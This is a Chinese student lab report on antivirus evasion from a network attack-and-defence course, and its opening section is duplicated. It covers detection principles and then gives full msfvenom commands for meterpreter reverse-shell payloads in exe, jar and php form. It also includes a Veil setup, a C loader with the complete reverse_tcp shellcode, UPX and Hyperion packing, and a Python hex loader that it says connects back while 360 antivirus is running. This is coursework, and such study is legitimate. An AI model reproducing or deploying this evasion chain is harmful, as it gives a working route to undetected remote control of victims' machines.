zoukankan      html  css  js  c++  java
  • 2019-2020-3 20175229张智敏《网络对抗技术》Exp3 免杀原理与实践

    一、恶意代码检测机制和免杀原理

    实验指导书中有提到了这部分,这部分内容不加赘述,只是提及一下。

    1.恶意代码检测机制

    1.1 基于特征码的检测

    简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

    1.2 启发式恶意软件检测

    “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

    1.3 基于行为的恶意软件检测

    从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2.免杀原理(Evading Anti-Virus)

    (1)改变特征码
    ①如果你手里只有EXE
    ---1>加壳:压缩壳 加密壳
    ②有shellcode(像Meterpreter)
    ---2>用encode进行编码
    ---3>基于payload重新编译生成可执行文件
    ③有源代码
    ---4>用其他语言进行重写再编译(veil-evasion)

    (2)改变行为
    ①通讯方式
    ---1>尽量使用反弹式连接
    ---2>使用隧道技术
    ---3>加密通讯数据
    ②操作模式
    ---1>基于内存操作
    ---2>减少对系统的修改
    ---3>加入混淆作用的正常功能代码

    (3)非常规方法
    ---1>使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    ---2>使用社工类攻击,诱骗目标关闭AV软件。
    ---3>纯手工打造一个恶意软件

    二、实验内容

    1.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1.1正确使用msf编码器,生成exe文件

    (1)在实验二中使用msf生成了后门程序20175229_backdoor.exe,为了方便检测起见我将数字部分去掉。然后使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描
    (2)用VirusTotal扫描后结果如下:
    ------------恢复内容开始------------

    一、恶意代码检测机制和免杀原理

    实验指导书中有提到了这部分,这部分内容不加赘述,只是提及一下。

    1.恶意代码检测机制

    1.1 基于特征码的检测

    简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

    1.2 启发式恶意软件检测

    “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

    1.3 基于行为的恶意软件检测

    从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2.免杀原理(Evading Anti-Virus)

    (1)改变特征码
    ①如果你手里只有EXE
    ---1>加壳:压缩壳 加密壳
    ②有shellcode(像Meterpreter)
    ---2>用encode进行编码
    ---3>基于payload重新编译生成可执行文件
    ③有源代码
    ---4>用其他语言进行重写再编译(veil-evasion)

    (2)改变行为
    ①通讯方式
    ---1>尽量使用反弹式连接
    ---2>使用隧道技术
    ---3>加密通讯数据
    ②操作模式
    ---1>基于内存操作
    ---2>减少对系统的修改
    ---3>加入混淆作用的正常功能代码

    (3)非常规方法
    ---1>使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    ---2>使用社工类攻击,诱骗目标关闭AV软件。
    ---3>纯手工打造一个恶意软件

    二、实验内容

    1.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1.1正确使用msf编码器,生成exe文件

    (1)在实验二中使用msf生成了后门程序20175229_backdoor.exe,为了方便检测起见我将数字部分去掉。然后使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描

    (2)用VirusTotal扫描后结果如下:

    (3)通过VirusTotal的扫描结果我们直到不加任何处理的后门程序能够被大多数杀软检测到,下面我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
    ①一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使x00'不出现在shellcode中,因为shellcode以x00'为结束符。
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.6 LPORT=5229 -f exe > encoded1.exe
    ---生成过程截图:

    ---使用VirusTotal检测截图:

    ②十次编码:使用-i设置迭代次数
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.6 LPORT=5229 -f exe > encoded10.exe
    ---生成过程截图:

    ---使用VirusTotal检测截图:

    ③可见多次编码对于免杀没有太大的帮助,主要有两点原因:
    1>shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
    2>msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

    2.1msfvenom生成jar文件

    (1)生成java后门程序:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5229 x> zzm_backdoor_java.jar
    ---生成过程截图:

    ---使用VirusTotal检测截图:

    2.2mfsvenom生成php文件

    (1)生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5229 x> zzm_backdoor.php
    ---生成过程截图:

    ---使用VirusTotal检测截图:

    3.使用veil-evasion生成后门程序及检测

    (1)命令行中输入 sudo apt-get install veil 安装veil

    (2)阶段性完成后再次输入veil 继续安装

    (3)安装成功后输入veil指令进入(这里一定要以sudo模式运行veil,否则后面运行generate指令时会提示权限不够的错误)

    (4)输入use evasion命令进入veil-evasion

    (5)输入命令use c/meterpreter/rev_tcp.py进入配置界面

    (6)设置反弹连接IP地址(kali的IP)set LHOST 192.168.190.128,端口:set LPORT 5229

    (7)输入generate生成文件,接着输入你想要payload的名字:veil_c_5229,如图所示,文件保存路径为:/var/lib/veil/output/compiled/veil_c_5229.exe

    (8)使用VirusTotal检测截图:

    使用shellcode编程

    (1)首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=5229 -f c生成一段shellcode。

    (2)用vim创建一个文件20175229.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8xbex80"
    "x68x02x00x14x6dx89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    (3)输入i686-w64-mingw32-g++ 20175229.c -o 20175229.exe,将此文件编译为可执行文件。

    (4)在VirusTotal检测截图:

    (5)当想要使用windows上执行该程序时,被电脑的联想电脑管家隔离。

    5.加壳工具

    (1)加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
    (2)加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
    (3)加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
    (4)这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
    (5)MSF的编码器使用类似方法,对shellcode进行再编码。
    (6)从技术上分壳分为:
    ①压缩壳
    ---减少应用体积,如ASPack,UPX
    ②加密壳
    ---版权保护,反跟踪。如ASProtect,Armadillo
    ③虚拟机
    ---通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
    (6)使用压缩壳:UPX
    upx 20175229.exe -o zzm_upxed.exe给之前的20175229.exe加个壳得到zzm_upxed.exe:

    (7)运行之后被判断为威胁,将其加入白名单方便测试反弹连接:

    (8)使用实验二的方法测试一下能不能进行反弹连接:

    (9)使用VirusTotal检测截图:

    (10)使用加密壳:Hyperion
    ①通过命令wine hyperion.exe -v zzm_upxed.exe zzm_upxed_Hyperion.exe进行二次加壳

    ②反弹连接成功:

    ③使用VirusTotal检测截图:

    三、使用其他方法完成任务一

    (1)参考远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69):https://mp.weixin.qq.com/s/KhX9YPqmvij54pTXpcS9bg;

    (2)执行msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.190.128 lport=5229 -f c -o shell.c制作出shellcode的文件。

    (3)然后使用k8飞刀将把shellcode转成hex:

    (4)下载ScrunHex.py,然后使用VirusTotal检测Scrunhex.py

    (5)在Windows中的cmd.exe中进入装好的Python文件夹下使用python ScRunHex.py hexcode就可以加载执行shellcode了;

    (6)msf中正常上线,使用dir命令发现就是python的这个文件夹没错了;

    四、任务二、通过组合应用各种技术实现恶意代码免杀

    (1)简述免杀原理:使用C+shellcode,然后将shellcode转化为hex,并且使用ScRunHex.py与python运行hex码,避免了杀软扫描到ScRunHex.exe的特征码,而同时使用了不同的编码方式混淆,让杀软晕头转向。
    (2)详细方法见上文使用其他方法完成任务一。

    五、任务三:用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    (1)使用的是娄老师之前给的Win7系统,同时dir后的截图中的文件列表有本虚拟机的特色(专用的串口驱动)
    (2)杀软名称:360安全卫士
    (3)版本:12.0.0.2002

    六、基础问题回答与实验体会、总结

    (1)基础问题回答
    ①杀软是如何检测出恶意代码的?
    ---基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
    ---启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
    ---基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。

    ②免杀是做什么?
    ---使用一些特殊的手段对恶意软件进行处理,让他不被杀毒软件所检测。

    ③免杀的基本方法有哪些?
    ---改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
    ---改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。

    (2)实验体会、总结
    ①遇到的问题

    ②解决问题

    ③实验体会
    又是折磨人的一个实验,就安装veil就出来好多岔子,找了许多资料和解决办法才得以解决,最后还是靠手动解决(是真的费劲),电脑管家真是个好东西,耽误了我许多宝贵的时间,它疯狂删除和阻拦,最后没办法我只能关了它,说实话联想电脑管家比我想象中的牛逼,是真的敏感,虽然吐槽这么多,但是能做出这种实验还是成就感满满的,还是那句话程序员的头发不愧掉的又早又快,这么搞确实整不住!

  • 相关阅读:
    cocos2dx环境搭建(android平台)
    转:Android开发实践:Java层与Jni层的数组传递
    转:Linux串口编程入门详解
    Linux串口通信之termios结构体说明
    SQLite3 C语言API入门
    android常用工具记录
    Java中byte与16进制字符串的互相转换
    JNI原理及实现
    Java调用动态库方法说明
    JAVA中使用动态链接库须知
  • 原文地址:https://www.cnblogs.com/zzmzcc/p/12572626.html
Copyright © 2011-2022 走看看